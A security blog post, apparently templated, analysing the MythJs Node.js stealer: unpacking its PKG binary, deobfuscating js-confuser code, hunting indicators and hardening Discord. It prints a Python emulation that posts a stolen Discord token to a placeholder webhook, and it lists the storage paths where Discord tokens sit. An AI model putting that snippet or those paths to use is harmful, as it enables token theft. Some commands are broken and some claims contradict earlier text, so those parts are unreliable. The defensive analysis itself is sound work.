Nodejs Malware Unmasked: A Deep Dive into the PKG-Packed MythJs Stealer and Its Discord Exfiltration Tactics

Listen to this Post

Featured Image

Introduction:

The cybersecurity landscape is witnessing a shift in malware development as threat actors increasingly adopt cross-platform frameworks like Node.js to bypass traditional defenses. A recent analysis of the MythJs stealer reveals a sophisticated attack chain that leverages the PKG packer for binary distribution and the js-confuser obfuscator to evade detection. This malware specifically targets Discord users, harvesting payment credentials and exfiltrating data via Discord bots, highlighting a growing trend of using trusted platforms for command-and-control (C2) communication.

Learning Objectives:

  • Understand the technical methodology behind unpacking Node.js binaries packaged with PKG.
  • Analyze the js-confuser obfuscation techniques and learn how to patch deobfuscation tools.
  • Identify indicators of compromise (IOCs) related to Discord-based data exfiltration.
  • Explore mitigation strategies against stealers targeting Electron and Node.js applications.

You Should Know:

  1. Unpacking the PKG Executable: Reversing the Virtual File System
    The MythJs stealer is distributed as a compiled binary using Vercel’s PKG, which packages a Node.js application along with its dependencies into a single executable. Standard unpackers often fail because PKG embeds a snapshot of the JavaScript code within a custom virtual file system.

To extract the original JavaScript source, we can use a combination of forensic tools and manual reversal. The `pkg-unpacker` tool by `andrew-d` on GitHub is a common starting point, but as the researcher noted, it failed on this sample. When automated tools fail, we must inspect the binary’s structure manually.

Step-by-step guide: Extracting PKG Payloads Manually

First, identify the PKG marker. In a hex editor, search for the string `PKG` or the typical header indicating the start of the bundled payload.

 Linux/macOS: Use strings and grep to find the JS payload signature
strings MythJs_stealer.bin | grep -i "pkg"
xxd MythJs_stealer.bin | head -50

Once the offset is located, use `dd` to slice the binary from the payload start to the end.

dd if=MythJs_stealer.bin of=extracted_fs.bin bs=1 skip=[bash]

The extracted data is often a gzipped archive. Verify and decompress it.

file extracted_fs.bin
 If it shows gzip compressed data
mv extracted_fs.bin extracted_fs.gz
gunzip extracted_fs.gz
tar -xvf extracted_fs

This process reveals the file system structure, containing the original obfuscated JavaScript files.

2. Deobfuscating js-confuser: Patching Failing Tools

The core logic of MythJs is obfuscated with js-confuser, a Node.js obfuscator that uses control flow flattening, string hiding, and dead code injection. The researcher encountered failures with existing deobfuscators, requiring a custom patch.

Step-by-step guide: Patching a Deobfuscator for js-confuser

Clone a popular deobfuscator like `de4js` or a Node.js-specific AST (Abstract Syntax Tree) manipulator.

git clone https://github.com/lelinhtinh/de4js.git
cd de4js

Analyze the error. Often, obfuscators use custom functions to replace native operators. For instance, a function might be used to hide string concatenations. Identify the deobfuscator’s rule set and add a new handler for js-confuser’s specific patterns.

Create a simple Node.js script using `@babel/parser` and `@babel/traverse` to manually reverse control flow.

// deob.js
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const generate = require("@babel/generator").default;
const fs = require("fs");

const code = fs.readFileSync("obfuscated.js", "utf8");
const ast = parser.parse(code);

traverse(ast, {
// Custom visitor to resolve conditional expressions
ConditionalExpression(path) {
// Logic to evaluate static conditions
if (path.node.test.type === "BooleanLiteral") {
if (path.node.test.value === true) {
path.replaceWith(path.node.consequent);
} else {
path.replaceWith(path.node.alternate);
}
}
},
// Resolve string array references
MemberExpression(path) {
// Implementation to replace array lookups with actual strings
}
});

const output = generate(ast).code;
fs.writeFileSync("deobfuscated_output.js", output);

Run the patched deobfuscator to retrieve the stealer’s human-readable source code, revealing its exfiltration targets.

3. Analyzing the Discord Exfiltration Mechanism

Once deobfuscated, the stealer’s true intent is clear: it targets Discord client files to extract payment tokens. It searches for the Local Storage and LevelDB files where Discord stores sensitive data.

Step-by-step guide: Identifying the Exfiltration Code

Within the deobfuscated source, look for file system access patterns targeting Discord’s paths:
– `%APPDATA%/discord/Local Storage/leveldb/` (Windows)
– `~/Library/Application Support/discord/Local Storage/leveldb/` (macOS)
– `~/.config/discord/Local Storage/leveldb/` (Linux)

The malware reads these .ldb and .log files, regex-searching for patterns matching Discord tokens and payment method strings. It then POSTs this data to a Discord webhook URL, using the threat actor’s bot.

 Example Python emulation of the exfiltration (for analysis only)
import requests
import re

Simulated stolen data
stolen_data = "MTAxMjM0NTY3ODkw.GABCDE.f4k3t0k3n"
webhook_url = "https://discord.com/api/webhooks/123456/TOKEN"

The malware sends the data as a Discord embed
payload = {
"content": "",
"embeds": [{
"title": "Stolen Payment Data",
"description": f"Token: {stolen_data}",
"color": 16711680
}]
}
 requests.post(webhook_url, json=payload)  Malicious action

The use of a Discord webhook with the avatar of Abdullah Öcalan provides a unique IOC for tracking this specific threat actor group.

  1. Hunting for IOCs: Network and File System Indicators
    To detect MythJs infections on a compromised host, security teams must monitor for specific behaviors.

Windows Command-Line Hunting:

Use PowerShell to scan for unauthorized Discord storage access.

 Search for processes accessing Discord LevelDB
Get-Process | Where-Object { $_.Modules.FileName -like "discord" } | Select-Object Name, Id

Check for suspicious outbound connections to Discord API endpoints not tied to the Discord client
netstat -an | findstr "discord.com:443"

Linux Hunting:

Monitor file access patterns using `auditd`.

 Add audit rule for Discord directory
auditctl -w /home/user/.config/discord/ -p rwa -k discord_stealer

Search logs
ausearch -k discord_stealer | aureport -f -i

5. Mitigation: Hardening Electron Applications (Discord)

Preventing stealers from accessing sensitive data requires application-level sandboxing. Discord, being an Electron app, stores data in unencrypted LevelDB files by default. While full disk encryption helps, it doesn’t protect against a running malware instance.

Recommended Mitigations:

  • Endpoint Detection & Response (EDR): Deploy EDR rules that alert on any non-Discord process reading Discord’s LevelDB files.
  • AppLocker/Software Restriction Policies: Block execution of unsigned Node.js binaries in user directories.
  • User Education: Advise users to enable Two-Factor Authentication (2FA) on Discord to limit the value of stolen tokens.
  • Registry Hardening (Windows): Restrict access to Discord’s storage path via ACLs for non-privileged users.

What Undercode Say:

  • Key Takeaway 1: The MythJs analysis underscores that cross-platform JavaScript malware is no longer a novelty but a persistent threat. The use of PKG and js-confuser creates a layered evasion technique that defeats conventional signature-based antivirus tools.
  • Key Takeaway 2: The shift toward using legitimate platforms like Discord for data exfiltration represents a paradigm shift in C2 infrastructure. This “living-off-trusted-services” approach makes network detection significantly harder, as traffic blends with benign application data.

The malware author’s willingness to patch and customize obfuscation tools in response to failed detections indicates a highly adaptive adversary. This arms race between packers/deobfuscators is accelerating, requiring malware analysts to develop more flexible, scriptable analysis pipelines rather than relying on static tools. The “vibe-coding” approach by the researcher—rapidly prototyping a custom extractor—is a skill set that will define the next generation of reverse engineering. Organizations must move beyond simple hash blocking and adopt behavioral analysis that monitors for anomalous access patterns to sensitive application data stores, as this is the common denominator in infostealer attacks.

Prediction:

We will witness an increase in “Frankenstein” malware, where threat actors combine multiple packers and obfuscators (PKG + js-confuser + custom anti-analysis) to create unique binaries that bypass automated sandboxes. Consequently, the cybersecurity industry will see a rise in AI-assisted deobfuscation tools capable of emulating JavaScript execution environments to extract payloads dynamically, shifting the battlefield from static signature detection to heuristic behavioral emulation.

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Karsten Hahn – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky